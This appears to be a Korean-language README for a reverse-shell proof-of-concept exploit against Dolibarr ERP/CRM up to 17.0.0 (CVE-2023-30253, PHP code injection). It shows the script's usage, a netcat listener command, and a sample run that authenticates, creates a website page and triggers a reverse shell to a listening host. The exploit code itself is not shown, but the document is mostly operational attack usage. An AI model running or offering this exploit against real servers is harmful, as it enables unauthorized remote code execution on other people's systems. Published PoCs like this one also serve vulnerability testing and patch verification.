Dolibarr <= 17.0.0 (CVE-2023-30253)에 대한 PoC 익스플로잇

**Dolibarr <= 17.0.0 (CVE-2023-30253)**에 대한 리버스 셸 PoC 익스플로잇, PHP 코드 인젝션

취약점에 대한 자세한 내용은 여기에서 확인하세요.

PoC

익스플로잇 도움말:

➜  python3 exploit.py -h
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001

---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---

positional arguments:
  hostname    Target hostname
  username    Username of Dolibarr ERP/CRM
  password    Password of Dolibarr ERP/CRM
  lhost       Listening host for reverse shell
  lport       Listening port for reverse shell

options:
  -h, --help  show this help message and exit

호스트에서 netcat 실행:

➜ nc -lvnp 9001

익스플로잇 실행 (예시):

➜ python3 exploit.py http://example.com login passsword 127.0.0.1 9001
[*] Trying authentication...
[**] Login: login
[**] Password: password
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

POC-exploit-for-Dolibarr

인기